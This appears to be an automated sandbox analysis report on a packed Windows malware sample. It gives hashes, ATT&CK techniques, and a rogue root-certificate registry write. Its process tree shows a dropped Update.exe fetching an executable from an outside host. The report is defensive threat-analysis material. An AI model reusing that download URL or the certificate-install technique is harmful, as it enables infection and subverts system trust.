db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec

General

Target

db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe
Size

5.1MB
MD5

abe375968fe70ae9e888afebad4a6c2b
SHA1

88c0d4fef42b66e43daa9673d960f397f5e197ab
SHA256

db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec
SHA512

b0529eb277cd850a131f01001750cbda4beadb3693780e12ec8f5c2ca06c6c62cbf8fa97d1cb7ade063929109b486ae892ba59b2fd33499627c7ddf9793eeeb3
SSDEEP

98304:r6ntlkzALq+xRTFsPBxElbeWOZYeXmd/nyVVT3DjQtvDmpG913swwmJGancjNSxJ:untlkzALq+xRTFsPBxElbeWOZYeXmd/Z

Score

8^/10

upx

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
736	Update.exe

Loads dropped DLL 4 IoCs

pid	Process
1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe
736	Update.exe
736	Update.exe
736	Update.exe

UPX packed file 27 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1672-1-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-5-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-3-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-4-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-7-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-9-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-6-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-13-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-11-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-17-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-15-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-20-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-22-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-26-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-28-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-24-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-32-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-38-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-44-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-42-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-48-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-46-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-40-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-36-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-52-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-34-0x0000000010000000-0x000000001003E000-memory.dmp	upx
behavioral1/memory/1672-30-0x0000000010000000-0x000000001003E000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe
1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe
1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe
736	Update.exe
736	Update.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 736	1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe	30
PID 1672 wrote to memory of 736	1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe	30
PID 1672 wrote to memory of 736	1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe	30
PID 1672 wrote to memory of 736	1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe	30
PID 1672 wrote to memory of 736	1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe	30
PID 1672 wrote to memory of 736	1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe	30
PID 1672 wrote to memory of 736	1672	db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe	30

C:\Users\Admin\AppData\Local\Temp\db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe
"C:\Users\Admin\AppData\Local\Temp\db5168fba184eba9f057379b1163566a9e438769d6aaaef2b11343f26c3971ec.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Users\Admin\AppData\Local\Temp\Update.exe
  "C:\Users\Admin\AppData\Local\Temp\Update.exe" 2 http://a.tmvhoro.cn/ud/ftdk1.5.exe C:\Users\Admin\AppData\Local\Temp\ %7C%7C%7C%7C%CC%E1%CA%BE%A3%BA%C8%E7%D2%BB%D6%B1%CC%E1%CA%BE%B8%FC%D0%C2%A3%AC%CE%DE%B7%A8%B5%C7%C2%BC%B5%C4%A3%AC%C7%EB%BD%E2%D1%B9%D7%EE%CF%C8%CF%C2%D4%D8%B5%C4%CE%C4%BC%FE%BA%F3%A3%AC%B2%A2%C9%BE%B3%FD%A3%BAUpdate.exe+%A3%AC%CE%C4%BC%FE%BA%F3%D6%D8%D0%C2%B4%F2%BF%AA%C8%ED%BC%FE%A3%AC%CD%EA%B3%C9%B8%FC%D0%C2%BA%F3%A3%AC%C8%E7%BB%B9%D2%BB%D6%B1%CC%E1%CA%BE%B8%FC%D0%C2%A3%AC%C7%EB%B7%B4%C0%A1bug %B7%B9%CD%C5%C9%CF%BB%F5%BE%AB%C1%E9.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetWindowsHookEx
  PID:736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Update.exe

Filesize
1.1MB

MD5
a0f316f53b3f4e09bfc9157f2773613a

SHA1
ba6e1031e025e85184681b5b7601e7ad343e5845

SHA256
4dce3ea33964acc8bd9802887c079e5bc5129b35c7faf5bf4c27f7c1e8f8ec48

SHA512
9b5054c898bea4d3fe2c633ad3ebc05d561959ccd11393fbc31521557cba097e181e27218a26a7f55bd21bf4001195639274de7e1755be31b18976e2772c34ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\Update.exe

Filesize
1.1MB

MD5
a0f316f53b3f4e09bfc9157f2773613a

SHA1
ba6e1031e025e85184681b5b7601e7ad343e5845

SHA256
4dce3ea33964acc8bd9802887c079e5bc5129b35c7faf5bf4c27f7c1e8f8ec48

SHA512
9b5054c898bea4d3fe2c633ad3ebc05d561959ccd11393fbc31521557cba097e181e27218a26a7f55bd21bf4001195639274de7e1755be31b18976e2772c34ec

Download Submit
\Users\Admin\AppData\Local\Temp\Update.exe

Filesize
1.1MB

MD5
a0f316f53b3f4e09bfc9157f2773613a

SHA1
ba6e1031e025e85184681b5b7601e7ad343e5845

SHA256
4dce3ea33964acc8bd9802887c079e5bc5129b35c7faf5bf4c27f7c1e8f8ec48

SHA512
9b5054c898bea4d3fe2c633ad3ebc05d561959ccd11393fbc31521557cba097e181e27218a26a7f55bd21bf4001195639274de7e1755be31b18976e2772c34ec

Download Submit
\Users\Admin\AppData\Local\Temp\Update.exe

Filesize
1.1MB

MD5
a0f316f53b3f4e09bfc9157f2773613a

SHA1
ba6e1031e025e85184681b5b7601e7ad343e5845

SHA256
4dce3ea33964acc8bd9802887c079e5bc5129b35c7faf5bf4c27f7c1e8f8ec48

SHA512
9b5054c898bea4d3fe2c633ad3ebc05d561959ccd11393fbc31521557cba097e181e27218a26a7f55bd21bf4001195639274de7e1755be31b18976e2772c34ec

Download Submit
\Users\Admin\AppData\Local\Temp\Update.exe

Filesize
1.1MB

MD5
a0f316f53b3f4e09bfc9157f2773613a

SHA1
ba6e1031e025e85184681b5b7601e7ad343e5845

SHA256
4dce3ea33964acc8bd9802887c079e5bc5129b35c7faf5bf4c27f7c1e8f8ec48

SHA512
9b5054c898bea4d3fe2c633ad3ebc05d561959ccd11393fbc31521557cba097e181e27218a26a7f55bd21bf4001195639274de7e1755be31b18976e2772c34ec

Download Submit
\Users\Admin\AppData\Local\Temp\Update.exe

Filesize
1.1MB

MD5
a0f316f53b3f4e09bfc9157f2773613a

SHA1
ba6e1031e025e85184681b5b7601e7ad343e5845

SHA256
4dce3ea33964acc8bd9802887c079e5bc5129b35c7faf5bf4c27f7c1e8f8ec48

SHA512
9b5054c898bea4d3fe2c633ad3ebc05d561959ccd11393fbc31521557cba097e181e27218a26a7f55bd21bf4001195639274de7e1755be31b18976e2772c34ec

Download Submit
memory/1672-38-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-48-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-13-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-11-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-17-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-15-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-20-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-22-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-26-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-28-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-24-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-32-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-0-0x0000000000340000-0x0000000000341000-memory.dmp

Filesize
4KB

Download
memory/1672-44-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-42-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-6-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-46-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-40-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-36-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-51-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/1672-50-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download
memory/1672-52-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-49-0x00000000003D0000-0x00000000003D1000-memory.dmp

Filesize
4KB

Download
memory/1672-34-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-30-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-9-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-7-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-4-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-3-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-5-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-1-0x0000000010000000-0x000000001003E000-memory.dmp

Filesize
248KB

Download
memory/1672-82-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download

Analysis

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